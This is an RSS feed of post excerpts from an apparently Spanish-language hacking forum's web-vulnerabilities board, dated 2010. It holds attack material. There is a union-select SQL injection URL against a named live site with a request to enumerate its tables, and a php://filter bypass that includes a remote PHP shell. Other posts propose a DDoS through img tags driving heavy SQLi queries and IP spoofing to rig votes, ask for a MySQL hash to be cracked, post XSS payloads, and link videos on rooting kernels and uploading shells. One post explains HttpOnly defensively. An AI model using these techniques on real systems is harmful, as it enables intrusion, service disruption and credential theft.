<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title> - Vulnerabilidades Nivel Web General</title>
<description></description><link>https://foro.undersecurity.net/list.php?15</link><lastBuildDate>Thu, 09 Sep 2010 09:46:53 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7894,7894#msg-7894</guid>
<title>Insegure cookie handling y Remote command execution (3 replies)</title><link>https://foro.undersecurity.net/read.php?15,7894,7894#msg-7894</link><description><![CDATA[<a href="https://elrincondeseth.wordpress.com/2010/08/27/nickserv-sourcegeek-has-been-ghosted/" target="_blank" rel="nofollow" >Como loguearse en un panel de admin por un error de logica en la aplicacion y como ejecutar comandos por un mal filtrado de lo que se escribe en un archivo .php</a>]]></description>
<dc:creator>seth</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Tue, 07 Sep 2010 07:36:18 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7853,7853#msg-7853</guid>
<title>DDos through HeavyQueries &amp; img tags (5 replies)</title><link>https://foro.undersecurity.net/read.php?15,7853,7853#msg-7853</link><description><![CDATA[Tras este título tan &quot;pomposo&quot; se encuentra una idea muy sencilla, así que no se dejen engañar pero no se me ocurria otro mejor xD<br />Antes que nada aclarar, que es una idea teórica, ni siquiera probada su efectivida, pero que teoricamente debería funcionar bien, sin más comienzo:<br /><br /><br />Cuando se introduce un tag bbcode [ img ] es traducido mediante phpbb (o smf o la suite que tengamos instalada( en un etiqueta html de tipo <pre class="html4strict bbcode_geshi"><div class="head">Language: HTML</div><span class="sc2">&lt;<a href="http://december.com/html/4/element/img.html"><span class="kw2">img</span></a> <span class="kw3">src</span><span class="sy0">=</span><span class="st0">&quot;...&quot;</span>&gt;</span></pre>
. Esto por nuestro explorador conlleva una petición GET al servidor en el cual esté alojada la imagen. Aunque no tenga el mimetype adecuado, la petición se realiza, por lo que podríamos, por ejemplo, poner este pedazo de codigo <pre class="html4strict bbcode_geshi"><div class="head">Language: HTML</div><span class="sc2">&lt;<a href="http://december.com/html/4/element/img.html"><span class="kw2">img</span></a> <span class="kw3">src</span><span class="sy0">=</span><span class="st0">&quot;http://servidor.com/consultaSQL.php?id=XXX&quot;</span>&gt;</span></pre>
Supongamos que servidor.com/consultaSQL.php es vulnerable a un ataque SQLi, podríamos realizar una consulta pesada, como listar todos los elementos de la tabla usuarios ( supongamos más de 1000 usuarios ) o listar recursoso o cualquier consulta pesada. Además si situamos esta consulta en un foro muy transitado (mediante el bbcode [ img ] [ /img ] ) puede dar lugar a MUCHAS consultas de este tipo, lo que sin duda, acarreará una carga desmesurada en el servidor objetivo, con la particularidad, de que dado que las peticiones GET provienen de PCs con distintas IPs y sin ninguna relación, sería MUY dificil detener este ataque.<br /><br />Que pensais? Factible o No? :O]]></description>
<dc:creator>tragantras</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sat, 21 Aug 2010 07:56:17 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7604,7604#msg-7604</guid>
<title>HttpOnly Mecanismo de seguridad para evitar el robo de cookies (4 replies)</title><link>https://foro.undersecurity.net/read.php?15,7604,7604#msg-7604</link><description><![CDATA[Buenas, <a href="http://www.owasp.org/index.php/HttpOnly" target="_blank" rel="nofollow" ><b>HttpOnly</b></a> es un mecanismo de seguridad que sirve para evitar la <i>escritura/lectura</i> de cookies en lenguajes que se ejecutan al lado del cliente, como puede ser <a href="http://es.wikipedia.org/wiki/JavaScript" target="_blank" rel="nofollow" ><b>JavaScript</b></a>.<br /><br />Ej:<br /><br /><i>ej.php</i><br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="kw2">&lt;?php</span>
&nbsp;
<span class="co1">//Verificando la version necesaria</span>
<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><a href="http://www.php.net/version_compare"><span class="kw3">version_compare</span></a><span class="br0">&#40;</span><a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><a href="http://www.php.net/phpversion"><span class="kw3">phpversion</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">6</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st_h">'5.2.0'</span><span class="sy0">,</span> <span class="st_h">'&gt;='</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="kw1">echo</span> <span class="st0">&quot;Para poder usar la directiva session.cookie_httponly, se necesita una version de PHP 5.2.0 o mayor&quot;</span><span class="sy0">;</span>
<a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="co1">//Verificando que la directiva este ON</span>
<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><a href="http://www.php.net/ini_get"><span class="kw3">ini_get</span></a><span class="br0">&#40;</span><span class="st_h">'session.cookie_httponly'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="kw1">echo</span> <span class="st0">&quot;Active la directiva session.cookie_httponly del php.ini&quot;</span><span class="sy0">;</span>
<a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><a href="http://www.php.net/empty"><span class="kw3">empty</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st_h">'text'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="sy0">||</span> <span class="sy0">!</span><a href="http://www.php.net/empty"><span class="kw3">empty</span></a><span class="br0">&#40;</span><span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st_h">'text'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://www.php.net/setcookie"><span class="kw3">setcookie</span></a><span class="br0">&#40;</span><span class="st_h">'text'</span><span class="sy0">,</span><span class="st_h">'Yoyahack'</span><span class="sy0">,</span> <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">+</span><span class="nu0">3600</span><span class="sy0">,</span> <span class="st_h">'/ej/'</span><span class="sy0">,</span><span class="st_h">'127.0.0.1'</span><span class="sy0">,</span><span class="kw4">false</span><span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">echo</span> <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st_h">'text'</span><span class="br0">&#93;</span><span class="sy0">;</span>
<a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="sy0">;</span>
<span class="br0">&#125;</span>
<span class="sy1">?&gt;</span>
&lt;form name=&quot;HttpOnly&quot; action=&quot;ej.php&quot; method=&quot;POST&quot;&gt;
&lt;br&gt;
&lt;textarea  name=&quot;text&quot; cols=&quot;45&quot; rows=&quot;5&quot;&gt;
&lt;/textarea&gt;
&lt;br&gt;
&lt;input type=&quot;submit&quot; value=&quot;Enviar&quot;&gt;
&lt;/form&gt;</pre><br /><b><span style="color:#FF9900">Función</span></b> <a href="http://php.net/manual/es/function.setcookie.php" target="_blank" rel="nofollow" ><b>setcookie()</b></a><br /><pre class="bbcode">
setcookie ( Nombre de la cookie, Valor de la cookie, Tiempo de vida, Ruta de la cookie en que funcionara o estará disponible, Dominio en que funcionara la cookie, Si la cookie deberá funcionar en conexiones HTTP Seguras (HTTPS) (Valor Bool), HttpOnly (Valor Bool) )</pre><br /><br /><hr class="bbcode"/><br /><span style="color:#FF0033"><b>Nota:</b></span> Para usar el parametro HttpOnly, hay que activar la directiva <a href="http://www.php.net/manual/es/session.configuration.php#ini.session.cookie-httponly" target="_blank" rel="nofollow" ><b>session.cookie_httponly</b></a> del <a href="http://php.net/manual/en/ini.php" target="_blank" rel="nofollow" ><span style="color:#6600FF">php.ini</span></a> y que el navegador soporte HttpOnly.<br /><br />Navegadores que soportan HttpOnly (Owasp).<br /><img src="http://img821.imageshack.us/img821/9866/infoy.png" class="bbcode" border="0" /><br /><br /><hr class="bbcode"/><br />Bueno, ahora tratamos de leer las cookies con javascript.<br /><br /><img src="http://a.imageshack.us/img52/258/formck.png" class="bbcode" border="0" /><br /><br />Miramos las cabeseras Http<br /><pre class="bbcode">
http://127.0.0.1/ej/ej.php


POST /ej/ej.php HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.8pre) Gecko/20100704 Ubuntu/9.10 (karmic) FireDownload/2.0.1 Namoroka/3.6.8pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://127.0.0.1/ej/ej.php
Cookie: text=Yoyahack
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
text=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

HTTP/1.1 200 OK
Date: Wed, 14 Jul 2010 00:36:22 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.4
Set-Cookie: text=Yoyahack; expires=Wed, 14-Jul-2010 01:36:22 GMT; path=/ej/; domain=127.0.0.1; httponly
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 55
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html</pre><br /><br /><hr class="bbcode"/><br /><pre class="bbcode">
text=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E</pre>
Enviamos el contenido via POST para luego mostrarlo, esta codificado porque apache codifica los parámetros que se envían vía GET/POST y luego lo decodifica.<br /><br /><hr class="bbcode"/>
<pre class="bbcode">
Set-Cookie: text=Yoyahack; expires=Wed, 14-Jul-2010 01:36:22 GMT; path=/ej/; domain=127.0.0.1; httponly</pre>
Enviamos la cookie con el parámetro httponly.<br /><br /><hr class="bbcode"/>
Salida:<br /><br /><img src="http://a.imageshack.us/img27/8904/25937890.png" class="bbcode" border="0" /><br /><br />No se muestra la cookie xD....<br /><br /><hr class="bbcode"/><br />Aunque HttpOnly solo sirve para evitar la lectura o escritura de cookies en lenguajes que se ejecutan al lado del cliente y nomas, aunque esto no se aplica en lenguajes que se ejecutan al lado del servidor, osea que no es del todo seguro xD.<br /><br />Saludos...]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Tue, 03 Aug 2010 10:42:19 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7576,7576#msg-7576</guid>
<title>video tutorial rooteo servidor 2.6.9.21 2007 by syskc0 (no replies)</title><link>https://foro.undersecurity.net/read.php?15,7576,7576#msg-7576</link><description><![CDATA[hola amigos<center class="bbcode"></center><br /><br /><center class="bbcode">hola amigos aqui les traigo un video donde les enseño a rootear un kernel 2.6.21 2007<br />http://www.multiupload.com/QSRK95B9ZR<br />password:c-intrud3rs.com<br /><br />company: syskc0</center>]]></description>
<dc:creator>syskc0</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sat, 10 Jul 2010 21:24:09 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7575,7575#msg-7575</guid>
<title>video tutorial rooteo servidor 2.6.26 2009 by syskc0 (1 reply)</title><link>https://foro.undersecurity.net/read.php?15,7575,7575#msg-7575</link><description><![CDATA[<center class="bbcode">hola amigos<br /><br />hoy les hice un video tutorial donde rooteo un kernel 2.6.26 2009<br />http://www.multiupload.com/XJ48TFN11J<br />password:c-intrud3rs.com</center>]]></description>
<dc:creator>syskc0</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Fri, 06 Aug 2010 17:11:47 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7574,7574#msg-7574</guid>
<title>video tutorial subir shell sql injection by syskc0 (1 reply)</title><link>https://foro.undersecurity.net/read.php?15,7574,7574#msg-7574</link><description><![CDATA[<center class="bbcode">[FONT=&quot;Courier New&quot;]<span style="font-size:6">hola amigos</span>[/FONT]</center><br /><br /><center class="bbcode">hoy les traigo un video que he hecho donde les enseño como subir una shell por medio de sql injection<br /><br />http://www.multiupload.com/TDY8VFMI9W<br />password:c-intrud3rs.com<br /><br />espero que lo disfruten</center>]]></description>
<dc:creator>syskc0</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sun, 11 Jul 2010 15:35:36 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7573,7573#msg-7573</guid>
<title>video tutorial rooteo servidor 2.6.9 2005 by syskc0 (no replies)</title><link>https://foro.undersecurity.net/read.php?15,7573,7573#msg-7573</link><description><![CDATA[<center class="bbcode"><span style="font-size:6">hola amigos</span><br /><br />hoy les he hecho un video donde les enseño como rootear un kernel 2.6.9 2005<br />http://www.multiupload.com/MCB3P0E8RH<br />password:c-intrud3rs.com<br /><br /><br />by syskc0</center>]]></description>
<dc:creator>syskc0</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sat, 10 Jul 2010 21:21:10 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7472,7472#msg-7472</guid>
<title>TCP sequency number prediction (5 replies)</title><link>https://foro.undersecurity.net/read.php?15,7472,7472#msg-7472</link><description><![CDATA[Hola foreros =)<br /><br /><b> Presentacion del temita </b><br />Os expongo la idea que he estado pensando y decidme que os parece^^:<br /><br />Existe cierta página con cierto sistema de votación, cuyo mecamismo es el siguiente, mediante una uri del estilo:<br /><pre class="html4strict bbcode_geshi"><div class="head">Language: HTML</div>http://www.web.com/encuesta.php?id=32<span class="sc1">&amp;puntos=10</span></pre>
Damos 10 puntos al usuario 32, ésta web implementa un sistema de protección por el cual, tan solo 1 IP por dia puede votar (para hacer más &quot;justas&quot; las cosas).<br /><br />Trasteando con el wireshark (mi fiel amigo jaja), me he fijado que el servidor en donde corre la web, empieza toda transacción con el SN: 0. (me ahorro las explicaciones, supongo que a estas alturas todos sabreis lo que es). Como se puede observar constituye un flag tremendo, dada la triviliadidad de la predicción del mismo.<br /><br />Se podria implementar un sistema de spoofing IP de la siguiente manera:<br /><br />[aclaracion, pongo el paquete y entre parentesis los campos a destacar)<br /><br /><b>[ three way handshake ]</b><br /><br />CLIENT SIDE.............................................................................................................SERVER SIDE<br /><br />SYN (sn: random, ack: 0, IP source: &quot;spoofed ip&quot;) ----------&gt; (el server recibe el intento de conexion y manda un syn, ack )<br />&lt;-------(sn:0, ack:1, ip dest: &quot;spoofed ip&quot;)---- (este paquete no me llega a mi, sino a la ip SPOOFED)<br />ACK (sn: random+1, ack: 1, IP source: &quot;spoofed ip&quot;) ---------&gt; (en este punto el servidor cree que la IP spoofed ip establecio la conexion correctamente)<br /><br /><b>[ Haciendo el request ]</b><br /><br />GET /encuesta.php?id=32&amp;puntos=10 HTTP/1.1<br />(sn: random+1, ack:1, len:400 IP source: &quot;spoofed ip&quot;) --------&gt;<br />&lt;----(sn: 1, ack: 400+1+random, IP dest: &quot;spoofed ip&quot;)----- el server nos contesta con un ACK<br /><br /><b> Implicaciones </b><br /><br />Hemos conseguido hacer un voto suplantando una IP. (supuestamente)<br /><br /><br /><b> Problems problems! </b><br /><br />Aqui es donde necesito vuestra consulta y &quot;oh gran sabiduria&quot; xD. Se que en algunos sistemas, al recibir la ip falseada ese paquete &quot;syn ack&quot; del servidor, puede que mande un &quot;rst&quot; y se vaya todo al garete o, que tenga que hacer una condición de carrera contra esa IP, no lo sé. Qué pensais vosotros? xD<br /><br /><br /><br />PD. se que me explico como el culo, pero yo soy d numneros... jajaja<br /><br />PD2: un saludo =)]]></description>
<dc:creator>tragantras</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sat, 03 Jul 2010 11:41:44 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7419,7419#msg-7419</guid>
<title>Crackear Hash Mysql de 160bit. (2 replies)</title><link>https://foro.undersecurity.net/read.php?15,7419,7419#msg-7419</link><description><![CDATA[Bueno como dice el titulo no saben como puedo hacer para crackear una password que esta encriptada con el hash de Mysql 160 bits?<br /><br />PW ENCRIPTADA: *7AD4747A0838369B08AFA00254E69017D066AD5E<br />este es el hash el que pueda que lo desencripte y si no dejen link de algun tool o algo por el estilo.. Muchas gracias.]]></description>
<dc:creator>heifede</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sun, 20 Jun 2010 15:40:30 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7371,7371#msg-7371</guid>
<title>Comilla en formulario (21 replies)</title><link>https://foro.undersecurity.net/read.php?15,7371,7371#msg-7371</link><description><![CDATA[Hola amigos :) (mi segundo post, qué emocion jajaja)<br /><br />Bueno, cierta web vulnerable a una injeccion MSSQL mediante método POST, reflecta la cadena maliciosa, siendo por lo tanto, un flanco para un XSS. La condición para que refleje la cadena es la insercción de una comilla simple -&gt; ' &lt;- seguida de una comilla doble -&gt; '&quot; &lt;- más la cadena a reflejar, por ejemplo:<br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div>'&quot;&gt;&lt;script&gt;alert(5);&lt;/script&gt;</pre><br />el problema viene con lo siguiente... si armo el formulario para aprovecharme de ese xss, la comilla y la doble comilla se codifica a url pasando a ser %27 no haciendo saltar la alerta de la base de datos y no reflejando el xss...<br /><br />Existe alguna manera de insertar la comilla tal cual en el formulario ?? :)<br /><br />Un saludo y gracias ^^]]></description>
<dc:creator>tragantras</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sat, 19 Jun 2010 17:17:12 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7255,7255#msg-7255</guid>
<title>Update you with using poison null byte. (5 replies)</title><link>https://foro.undersecurity.net/read.php?15,7255,7255#msg-7255</link><description><![CDATA[Esta tenica es muy interesando para salta los filtros de Imagenes como jpg.<br /><br />TODAVIA NO SE SI FUNCIONA EN MYSQL pero en MSSQL FUNCA<br /><br />http://www.insomniasec.com/publications/0x00_vs_ASP_File_Uploads.pdf]]></description>
<dc:creator>pancho</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Mon, 31 May 2010 05:00:49 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7133,7133#msg-7133</guid>
<title>Denial of Service in RegExp (4 replies)</title><link>https://foro.undersecurity.net/read.php?15,7133,7133#msg-7133</link><description><![CDATA[Paper sobre reDoS:<br /><br /><a href="http://n3t-datagrams.net/papers/reDOS-n3t-datagrams-by-SH4V.pdf" target="_blank" rel="nofollow" >http://n3t-datagrams.net/papers/reDOS-n3t-datagrams-by-SH4V.pdf</a><br /><br />Saludos!]]></description>
<dc:creator>SH4V</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Thu, 13 May 2010 16:49:07 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7059,7059#msg-7059</guid>
<title>Paper sobre lfi (1 reply)</title><link>https://foro.undersecurity.net/read.php?15,7059,7059#msg-7059</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/53418/screenshot_040_K92yO9.png" class="bbcode" border="0" /><br /><a href="http://packetstormsecurity.org/papers/general/lfi-paper.pdf" target="_blank" rel="nofollow" >http://packetstormsecurity.org/papers/general/lfi-paper.pdf</a>]]></description>
<dc:creator>seth</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Wed, 21 Apr 2010 15:31:00 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,7047,7047#msg-7047</guid>
<title>Bypass de filtros de rfi con php://filter (3 replies)</title><link>https://foro.undersecurity.net/read.php?15,7047,7047#msg-7047</link><description><![CDATA[Pongamos de ejemplo este filtro:<br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="sy1">&lt;?</span>
<span class="re0">$archivo</span> <span class="sy0">=</span> <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&quot;a&quot;</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span><a href="http://www.php.net/strtolower"><span class="kw3">strtolower</span></a><span class="br0">&#40;</span><a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$archivo</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">7</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">==</span><span class="st0">&quot;http://&quot;</span><span class="br0">&#41;</span> or <span class="br0">&#40;</span><a href="http://www.php.net/strtolower"><span class="kw3">strtolower</span></a><span class="br0">&#40;</span><a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$archivo</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">8</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">==</span><span class="st0">&quot;https://&quot;</span><span class="br0">&#41;</span> or <span class="br0">&#40;</span><a href="http://www.php.net/strtolower"><span class="kw3">strtolower</span></a><span class="br0">&#40;</span><a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$archivo</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">6</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">==</span><span class="st0">&quot;ftp://&quot;</span><span class="br0">&#41;</span> or <span class="br0">&#40;</span><a href="http://www.php.net/strtolower"><span class="kw3">strtolower</span></a><span class="br0">&#40;</span><a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$archivo</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">==</span><span class="st0">&quot;/&quot;</span><span class="br0">&#41;</span> or <span class="br0">&#40;</span><a href="http://www.php.net/strstr"><span class="kw3">strstr</span></a><span class="br0">&#40;</span><span class="re0">$archivo</span><span class="sy0">,</span><span class="st_h">'../'</span><span class="br0">&#41;</span><span class="sy0">!==</span><span class="kw4">false</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
    <span class="kw1">echo</span> <span class="st0">&quot;GTFO&quot;</span><span class="sy0">;</span>    
<span class="br0">&#125;</span>
<span class="kw1">else</span>
<span class="br0">&#123;</span>
    <span class="kw1">include</span><span class="br0">&#40;</span><span class="re0">$archivo</span><span class="br0">&#41;</span><span class="sy0">;</span>    
<span class="br0">&#125;</span>
<span class="sy1">?&gt;</span></pre><br />Bypass: http://localhost/test.php?url=php://filter/resource=http://host/emelco/emelco-1.3.php<br />Mas info: http://us2.php.net/manual/en/wrappers.php.php<br />Funciona desde php 5.0.0 con allow_url_include = On<br /><br />Hasta ahora no vi que nadie lo use ni lo filtre :D]]></description>
<dc:creator>seth</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Wed, 21 Apr 2010 12:07:24 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6858,6858#msg-6858</guid>
<title>SQLI en Mysql 4.x (11 replies)</title><link>https://foro.undersecurity.net/read.php?15,6858,6858#msg-6858</link><description><![CDATA[Salu2 compañeros,<br /><br />Tengo un problema o una duda,<br /><br />Vale en esta web tengo:<br /><br />http://www.webvulnerable.net/productos.php?id=-1+union+all+select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--<br /><br />Ya que hay 36-<br /><br />La versioón del Mysql es : 4.1.22<br />La base de Datos: qar139<br /><br />El tema es , intento sacar mas info como por ejemplo las tablas, pero me saca error , porque creo que me baso en Mysql 5x ,pero nose como hacerlo para Myql 4x<br /><br />Lo que intento es esto:<br /><br /><br />http://www.webvulnerable.net/productos.php?id=-1+union+all+select%201,2,<b>table_name</b>,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35<b>+from+information_schema.tables--</b><br /><br />Y me da este error:<br />Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhost/webvulnerable.net/home/html/productos.php on line 53<br /><br />Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhost/webvulnerable.net/home/html/productos.php on line 75<br /><br />alguien sabe como hacer la quiery correcta para mysql 4x???<br /><br />Gracias<br />Respuesta]]></description>
<dc:creator>nuevaorden</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Thu, 25 Mar 2010 00:47:09 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6706,6706#msg-6706</guid>
<title>Duda formulario vulnerable (8 replies)</title><link>https://foro.undersecurity.net/read.php?15,6706,6706#msg-6706</link><description><![CDATA[Bueno me estaba por olvidar de colocar este texto, deseo hacer invulnerable el envio de comentarios ya que es hackeable.<br /><br />Estoy navegando por proxy xq no tengo internet voy a ser breve porque al enviar muchos datos se me cuelga internet, sin mas preambulos que habia puesto antes les paso el codigo.<br /><br /><br />sendmessage.php<br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="sy1">&lt;?</span>
<span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/empty"><span class="kw3">empty</span></a><span class="br0">&#40;</span><span class="re0">$username</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>	
	<a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;location:index.php&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
<span class="re0">$tousername</span><span class="sy0">=</span><span class="re0">$username</span><span class="sy0">;</span>
<span class="re0">$errO</span><span class="sy0">=</span><span class="kw4">false</span><span class="sy0">;</span>
<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$username</span><span class="sy0">==</span><span class="re0">$ses_username</span><span class="br0">&#41;</span><span class="re0">$errO</span><span class="sy0">=</span><span class="kw4">true</span><span class="sy0">;</span>
<span class="sy1">?&gt;</span>
&lt;script language=&quot;JavaScript&quot;&gt;
function checkifvalid(){
if (window.document.myform.subject.value==&quot;&quot;)
{
alert(&quot;please enter the subject!&quot;);
window.document.myform.subject.focus();
return false;
}
if (window.document.myform.message.value==&quot;&quot;)
{
alert(&quot;please enter the Message!&quot;);
window.document.myform.message.focus();
return false;
}
}
&lt;/script&gt;
&lt;table width=&quot;100%&quot; border=&quot;0&quot; align=&quot;left&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
  &lt;tr&gt; 
    &lt;td width=&quot;7%&quot; height=&quot;239&quot; align=&quot;center&quot; valign=&quot;top&quot;&gt; &lt;div align=&quot;center&quot;&gt;&lt;br&gt;
        &lt;br&gt;
        &lt;br&gt;
      &lt;/div&gt;&lt;/td&gt;
    &lt;td width=&quot;93%&quot; align=&quot;left&quot; valign=&quot;top&quot;&gt;&lt;br&gt;      
      &lt;table width=&quot;95%&quot; height=&quot;10&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;mytable&quot;&gt;
        &lt;tr&gt; 
          &lt;td&gt;&lt;div align=&quot;center&quot;&gt; 
		  <span class="sy1">&lt;?</span>
		  <span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="re0">$errO</span><span class="br0">&#41;</span>
		  <span class="br0">&#123;</span>
		  <span class="sy1">?&gt;</span>
              &lt;table width=&quot;100%&quot; height=&quot;100%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
                &lt;form name=&quot;myform&quot; action=&quot;index.php?cmd=9&quot; method=&quot;post&quot; onsubmit=&quot;javascript: return checkifvalid();&quot;&gt;
                  &lt;input type=&quot;hidden&quot; name=&quot;tousername&quot; value=&quot;<span class="sy1">&lt;?</span> <span class="kw1">print</span> <span class="re0">$tousername</span><span class="sy0">;</span> <span class="sy1">?&gt;</span>&quot;&gt;
                  &lt;tr &gt; 
                    &lt;td width=&quot;5&quot;  class=&quot;header&quot;&gt;&amp;nbsp;&lt;/td&gt;
                    &lt;td height=&quot;20&quot; colspan=&quot;2&quot; class=&quot;header&quot;&gt;Send a message 
                      to <span class="sy1">&lt;?</span> <span class="kw1">print</span> <span class="re0">$tousername</span><span class="sy0">;</span><span class="sy1">?&gt;</span> &lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr &gt; 
                    &lt;td height=&quot;25&quot; class=&quot;normal&quot;&gt;&amp;nbsp;&lt;/td&gt;
                    &lt;td width=&quot;26%&quot; height=&quot;25&quot; class=&quot;normal&quot;&gt;Subject&lt;/td&gt;
                    &lt;td width=&quot;74%&quot; height=&quot;19&quot; class=&quot;normal&quot;&gt;&lt;input name=&quot;subject&quot;  type=&quot;text&quot;  class=&quot;mytext&quot; id=&quot;subject&quot; value=&quot;<span class="sy1">&lt;?</span> <span class="kw1">print</span> <span class="re0">$subject</span><span class="sy0">;</span> <span class="sy1">?&gt;</span>&quot; size=&quot;40&quot;&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr &gt; 
